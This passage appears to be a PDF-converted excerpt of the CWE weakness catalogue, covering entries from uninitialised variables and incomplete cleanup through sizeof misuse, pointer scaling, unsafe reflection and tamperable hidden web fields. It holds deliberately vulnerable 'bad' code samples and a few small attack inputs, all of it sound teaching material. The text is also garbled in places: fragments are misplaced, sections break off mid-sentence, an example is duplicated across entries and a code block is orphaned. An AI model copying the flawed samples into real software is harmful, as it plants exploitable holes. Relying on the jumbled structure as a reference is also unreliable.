MemberOf	<b>C</b>	452	Initialization and Cleanup Errors	1991

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Alter Execution Logic	
<p><i>The application could be placed in an insecure state that may allow an attacker to modify sensitive data or allow unintended logic to be executed.</i></p>		

### Potential Mitigations

#### Phase: Implementation

Follow the principle of failing securely when an error occurs. The system should enter a state where it is not vulnerable and will not display sensitive error messages to a potential attacker.

### Demonstrative Examples

#### Example 1:

The following code intends to limit certain operations to the administrator only.

*Example Language: Perl*

*(bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

	<i>The uninitialized data may be invalid, causing logic errors within the program. In some cases, this could result in a security problem.</i>	

## Potential Mitigations

### Phase: Implementation

Check that critical variables are initialized.

### Phase: Testing

Use a static analysis tool to spot non-initialized variables.

## Demonstrative Examples

### Example 1:

This function attempts to extract a pair of numbers from a user-supplied string.

*Example Language: C*

*(bad)*

```
void parse_data(char *untrusted_input){
    int m, n, error;
    error = sscanf(untrusted_input, "%d:%d", &m, &n);
    if ( EOF == error ){
        die("Did not specify integer value. Die evil hacker!\n");
    }
    /* proceed assuming n and m are initialized correctly */
}
```

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

*Example Language:*

*(attack)*

123:

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

### Example 2:

Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown.

*Example Language: Java*

*(bad)*

```
private User user;
public void someMethod() {
    // Do something interesting.
    ...
    // Throws NPE if user hasn't been properly initialized.
    String username = user.getName();
}
```

### Example 3:

This code first authenticates a user, then allows a delete command if the user is an administrator.

*Example Language: PHP*

*(bad)*

```
if (authenticate($username,$password) && setAdmin($username)){
    $isAdmin = true;
}
.../
if ($isAdmin){
    deleteUser($userToDelete);
}
```

The `$isAdmin` variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's `register_globals` feature is enabled, an attacker can set uninitialized variables like `$isAdmin` to arbitrary values, in this case gaining administrator privileges by setting `$isAdmin` to true.

#### Example 4:

In the following Java code the `BankManager` class uses the user variable of the class `User` to allow authorized users to perform bank manager tasks. The user variable is initialized within the method `setUser` that retrieves the `User` from the `User` database. The user is then authenticated as unauthorized user through the method `authenticateUser`.

Example Language: Java

(bad)

```
public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager() {
        ...
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username){
        ...
    }
    // set user variable using username
    public void setUser(String username) {
        this.user = getUserFromUserDatabase(username);
    }
    // authenticate user
    public boolean authenticateUser(String username, String password) {
        if (username.equals(user.getUsername()) && password.equals(user.getPassword())) {
            isUserAuthentic = true;
        }
        return isUserAuthentic;
    }
    // methods for performing bank manager tasks
    ...
}
```

However, if the method `setUser` is not called before `authenticateUser` then the user variable will not have been initialized and will result in a `NullPointerException`. The code should verify that the user variable has been initialized before it is used, as in the following code.

Example Language: Java

(good)

```
public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager(String username) {
        user = getUserFromUserDatabase(username);
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username) {...}
    // authenticate user
    public boolean authenticateUser(String username, String password) {
        if (user == null) {
            System.out.println("Cannot find user " + username);
        }
        else {
            if (password.equals(user.getPassword())) {
                isUserAuthentic = true;
            }
        }
        return isUserAuthentic;
    }
}
```

```

}
  // methods for performing bank manager tasks
  ...
}
  
```

### Example 5:

This example will leave `test_string` in an unknown condition when `i` is the same value as `err_val`, because `test_string` is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), `test_string` might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

Example Language: C

(bad)

```

char *test_string;
if (i != err_val)
{
  test_string = "Hello World!";
}
printf("%s", test_string);
  
```

When the `printf()` is reached, `test_string` might be an unexpected address, so the `printf` might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that `test_string` has been properly set once it reaches the `printf()`.

One solution would be to set `test_string` to an acceptable default before the conditional:

Example Language: C

(good)

```

char *test_string = "Done at the beginning";
if (i != err_val)
{
  test_string = "Hello World!";
}
printf("%s", test_string);
  
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that `test_string` is set:

Example Language: C

(good)

```

char *test_string;
if (i != err_val)
{
  test_string = "Hello World!";
}
else {
  test_string = "Done on the other side!";
}
printf("%s", test_string);
  
```

### Notes

#### Relationship

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

#### Research Gap

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.

## CWE-457: Use of Uninitialized Variable

<b>Weakness ID</b> : 457	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

### Extended Description

In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : C (Prevalence = Sometimes)

**Language** : C++ (Prevalence = Sometimes)

**Language** : Perl (Prevalence = Often)

**Language** : PHP (Prevalence = Often)

**Language** : Language-Independent (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability Integrity Other	Other  <i>Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.</i>	
Authorization Other	Other  <i>Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.</i>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Attack Surface Reduction*

Assign all variables to an initial value.

#### Phase: Build and Compilation

*Strategy = Compilation or Build Hardening*

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

#### Phase: Implementation

#### Phase: Operation

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.

#### Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

#### Phase: Architecture and Design

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

### Demonstrative Examples

#### Example 1:

This code prints a greeting using information stored in a POST request:

*Example Language: PHP**(bad)*

```
if (isset($_POST['names'])) {  
    $nameArray = $_POST['names'];  
}  
echo "Hello " . $nameArray['first'];
```

This code checks if the POST array 'names' is set before assigning it to the \$nameArray variable. However, if the array is not in the POST request, \$nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

**Example 2:**

The following switch statement is intended to set the values of the variables aN and bN before they are used:

*Example Language: C**(bad)*

```
int aN, bN;  
switch (ctl) {  
    case -1:  
        aN = 0;  
        bN = 0;  
        break;  
    case 0:  
        aN = i;  
        bN = -i;  
        break;  
    case 1:  
        aN = i + NEXT_SZ;  
        bN = i - NEXT_SZ;  
        break;  
    default:  
        aN = -1;  
        aN = -1;  
        break;  
}  
repaint(aN, bN);
```

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

**Example 3:**

This example will leave test\_string in an unknown condition when i is the same value as err\_val, because test\_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test\_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

*Example Language: C**(bad)*

```
char *test_string;  
if (i != err_val)  
{  
    test_string = "Hello World!";  
}  
printf("%s", test_string);
```

When the printf() is reached, test\_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test\_string has been properly set once it reaches the printf().

One solution would be to set test\_string to an acceptable default before the conditional:

Example Language: C

(good)

```
char *test_string = "Done at the beginning";
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test\_string is set:

Example Language: C

(good)

```
char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
else {
    test_string = "Done on the other side!";
}
printf("%s", test_string);
```

## CWE-459: Incomplete Cleanup

<b>Weakness ID</b> : 459	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software does not properly "clean up" and remove temporary or supporting resources after they have been used.

### Relationships

## Alternate Terms

**Insufficient Cleanup** :

## Common Consequences

Scope	Impact	Likelihood
Other	Other	
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
	DoS: Resource Consumption (Other)	
	<i>It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.</i>	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.

## Demonstrative Examples

### Example 1:

Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).

*Example Language: Java*

*(bad)*

```
try {
  InputStream is = new FileInputStream(path);
  byte b[] = new byte[is.available()];
  is.read(b);
  is.close();
} catch (Throwable t) {
  log.error("Something bad happened: " + t.getMessage());
}
```

### Notes

#### Relationship

CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for "proper" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.

#### Relationship

Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).

## CWE-460: Improper Cleanup on Thrown Exception

**Weakness ID** : 460

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.

### Extended Description

Often, when functions or loops become complicated, some level of resource cleanup is needed throughout execution. Exceptions can disturb the flow of the code and prevent the necessary cleanup from happening.

In this case, you may leave a thread locked accidentally.

## CWE-462: Duplicate Key in Associative List (Alist)

**Weakness ID** : 462

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.

### Extended Description

A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

#### Phase: Architecture and Design

Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.

### Demonstrative Examples

#### Example 1:

The following code adds data to a list and then attempts to sort the data.

Example Language: Python

(bad)

```
alist = []
while (foo()): #now assume there is a string data with a key basename
    queue.append(basename,data)
    queue.sort()
```

Since basename is not necessarily unique, this may not sort how one would like it to be.

## CWE-463: Deletion of Data Structure Sentinel

<b>Weakness ID</b> : 463	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The accidental deletion of a data-structure sentinel can cause serious programming logic problems.

## Extended Description

Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Common Consequences

Scope	Impact	Likelihood
Availability Other	Other <i>Generally this error will cause the data structure to not work properly.</i>	
Authorization Other	Other <i>If a control character, such as NULL is removed, one may cause resource access control problems.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

### Phase: Build and Compilation

*Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

### Phase: Operation

Use OS-level preventative functionality. Not a complete solution.

### Demonstrative Examples

#### Example 1:

This example creates a null terminated string and prints its contents.

Example Language: C

(bad)

```
char *foo;
int counter;
foo=calloc(sizeof(char)*10);
for (counter=0;counter!=10;counter++) {
    foo[counter]='a';
    printf("%s\n",foo);
}
```

The string foo has space for 9 characters and a null terminator, but 10 characters are written to it. As a result, the string foo is not null terminated and calling printf() on it will have unpredictable and possibly dangerous results.

## CWE-464: Addition of Data Structure Sentinel

<b>Weakness ID</b> : 464	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The accidental addition of a data-structure sentinel can cause serious programming logic problems.

### Extended Description

Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>Generally this error will cause the data structure to not work properly by truncating the data.</i>	

### Potential Mitigations

#### Phase: Implementation

#### Phase: Architecture and Design

Encapsulate the user from interacting with data sentinels. Validate user input to verify that sentinels are not present.

#### Phase: Implementation

Proper error checking can reduce the risk of inadvertently introducing sentinel values into data. For example, if a parsing function fails or encounters an error, it might return a value that is the same as the sentinel.

#### Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. This is not a complete solution.

#### Phase: Operation

Use OS-level preventative functionality. This is not a complete solution.

### Demonstrative Examples

#### Example 1:

The following example assigns some character values to a list of characters and prints them each individually, and then as a string. The third character value is intended to be an integer taken from user input and converted to an int.

*Example Language: C*

*(bad)*

```
char *foo;
foo=malloc(sizeof(char)*5);
foo[0]='a';
foo[1]='a';
foo[2]=atoi(getc(stdin));
```

```
foo[3]='c';
foo[4]='\0'
printf("%c %c %c %c %c %c\n",foo[0],foo[1],foo[2],foo[3],foo[4]);
printf("%s\n",foo);
```

The first print statement will print each character separated by a space. However, if a non-integer is read from stdin by `getc`, then `atoi` will not make a conversion and return 0. When `foo` is printed as a string, the 0 at character `foo[2]` will act as a NULL terminator and `foo[3]` will never be printed.

### Notes

#### Maintenance

This entry should have a chaining relationship with CWE-119 instead of a parent / child relationship, however the focus of this weakness does not map cleanly to any existing entries in CWE. A new parent is being considered which covers the more generic problem of incorrect return values. There is also an abstract relationship to weaknesses in which one component sends incorrect messages to another component; in this case, one routine is sending an incorrect value to another.

## CWE-467: Use of sizeof() on a Pointer Type

Weakness ID : 467

Status: Draft

**Structure** : Simple  
**Abstraction** : Variant

### Description

The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.

### Extended Description

The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. <i>This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.</i>		

### Potential Mitigations

#### Phase: Implementation

Use expressions such as "sizeof(\*pointer)" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.

### Demonstrative Examples

#### Example 1:

Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.

In this example, sizeof(foo) returns the size of the pointer.

Example Language: C

(bad)

```
double *foo;
...
foo = (double *)malloc(sizeof(foo));
```

In this example, sizeof(\*foo) returns the size of the data structure and not the size of the pointer.

Example Language: C

(good)

```
double *foo;
...
foo = (double *)malloc(sizeof(*foo));
```

### Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language:

(bad)

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    printf("Sizeof username = %d\n", sizeof(username));
    printf("Sizeof pass = %d\n", sizeof(pass));
    if (strncmp(username, inUser, sizeof(username))) {
        printf("Auth failure of username using sizeof\n");
        return(AUTH_FAIL);
    }
    /* Because of CWE-467, the sizeof returns 4 on many platforms and architectures. */
    if (!strncmp(pass, inPass, sizeof(pass))) {
        printf("Auth success of password using sizeof\n");
        return(AUTH_SUCCESS);
    }
    else {
        printf("Auth fail of password using sizeof\n");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv)
{
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult != AUTH_SUCCESS) {
        ExitError("Authentication failed");
    }
    else {
        DoAuthenticatedTask(argv[1]);
    }
}
```

In AuthenticateUser(), because sizeof() is applied to a parameter with an array type, the sizeof() call might return 4 on many modern architectures. As a result, the strncmp() call only checks the

first four characters of the input password, resulting in a partial comparison (CWE-187), leading to improper authentication (CWE-287).

Because of the partial comparison, any of these passwords would still cause authentication to succeed for the "admin" user:

*Example Language:*

*(attack)*

```
pass5
passABCDEFGH
passWORD
```

Because only 4 characters are checked, this significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "adminXYZ" and "administrator" will succeed for the username.

## CWE-468: Incorrect Pointer Scaling

**Weakness ID :** 468  
**Structure :** Simple

**Status:** Incomplete

**Abstraction** : Base

### Description

In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. <i>Incorrect pointer scaling will often result in buffer overflow conditions. Confidentiality can be compromised if the weakness is in the context of a buffer over-read or under-read.</i>		

### Potential Mitigations

**Phase: Architecture and Design**

Use a platform with high-level memory abstractions.

**Phase: Implementation**

Always use array indexing instead of direct pointer manipulation.

**Phase: Architecture and Design**

Use technologies for preventing buffer overflows.

### Demonstrative Examples

**Example 1:**

This example attempts to calculate the position of the second byte of a pointer.

*Example Language: C*

*(bad)*

```
int *p = x;  
char * second_char = (char *) (p + 1);
```

In this example, `second_char` is intended to point to the second byte of `p`. But, adding 1 to `p` actually adds `sizeof(int)` to `p`, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

## CWE-469: Use of Pointer Subtraction to Determine Size

Weakness ID : 469

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The application subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.

### Relationships

Scope	Impact	Likelihood
Access Control	Modify Memory	
Integrity	Read Memory	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	Gain Privileges or Assume Identity	
<i>There is the potential for arbitrary code execution with privileges of the vulnerable program.</i>		

### Potential Mitigations

#### Phase: Implementation

Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always validate this number.

### Demonstrative Examples

#### Example 1:

The following example contains the method size that is used to determine the number of nodes in a linked list. The method is passed a pointer to the head of the linked list.

*Example Language: C*

*(bad)*

```
struct node {
    int data;
    struct node* next;
};
// Returns the number of nodes in a linked list from
// the given pointer to the head of the list.
int size(struct node* head) {
    struct node* current = head;
    struct node* tail;
    while (current != NULL) {
        tail = current;
        current = current->next;
    }
    return tail - head;
}
// other methods for manipulating the list
...
```

However, the method creates a pointer that points to the end of the list and uses pointer subtraction to determine the number of nodes in the list by subtracting the tail pointer from the head pointer. There no guarantee that the pointers exist in the same memory area, therefore using pointer subtraction in this way could return incorrect results and allow other unintended behavior. In this example a counter should be used to determine the number of nodes in the list, as shown in the following code.

Example Language: C

(good)

```

...
int size(struct node* head) {
    struct node* current = head;
    int count = 0;
    while (current != NULL) {
        count++;
        current = current->next;
    }
    return count;
}

```

## CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Weakness ID : 470

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The application uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

### Extended Description

If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the

application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.

## Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Alter Execution Logic	
Availability	<i>The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.</i>	
Other		
Availability	DoS: Crash, Exit, or Restart	
Other	<i>The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the application to exit or hang.</i>	
Confidentiality		Read Application Data

Scope	Impact	Likelihood
	By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.	

### Potential Mitigations

#### Phase: Architecture and Design

Refactor your code to avoid using reflection.

#### Phase: Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

#### Phase: Implementation

Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.

### Demonstrative Examples

#### Example 1:

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

Example Language: Java

(good)

```
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
    ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
    ao = new ModifyCommand();
}
else {
    throw new UnknownActionError();
}
ao.doAction(request);
```

A programmer might refactor this code to use reflection as follows:

Example Language: Java

(bad)

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);
```

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

Example Language: Java

(bad)

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
```

```
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);
```

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple applications, in larger applications where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

## CWE-471: Modification of Assumed-Immutable Data (MAID)

**Weakness ID** : 471

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not properly protect an assumed-immutable element from being modified by an attacker.

## Extended Description

This occurs when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. Certain resources are often assumed to be immutable when they are not, such as hidden form fields in web applications, cookies, and reverse DNS lookups.

## Notes

### Relationship

MAID issues can be primary to many other weaknesses, and they are a major factor in languages that provide easy access to internal program constructs, such as PHP's `register_globals` and similar features. However, MAID issues can also be resultant from weaknesses that modify internal state; for example, a program might validate some data and store it in memory, but a buffer overflow could overwrite that validated data, leading to a change in program logic.

### Theoretical

There are many examples where the MUTABILITY property is a major factor in a vulnerability.

## CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID : 472

Status: Draft

Structure : Simple

Abstraction : Base

## Description

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

## Extended Description

If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.</i>	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Demonstrative Examples

### Example 1:

In this example, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

*Example Language: Java*

*(bad)*

```
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));
```

### Example 2:

Hidden fields should not be trusted as secure parameters.

An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

*Example Language: HTML*

*(bad)*

```
<input type="hidden"
```

or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.

**Phase: Requirements**

**Phase: Implementation**

Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register\_globals enabled. If you implement a register\_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register\_globals.

## CWE-474: Use of Function with Inconsistent Implementations

<b>Weakness ID</b> : 474	<b>Status</b> : Draft
<b>Structure</b> : Simple	
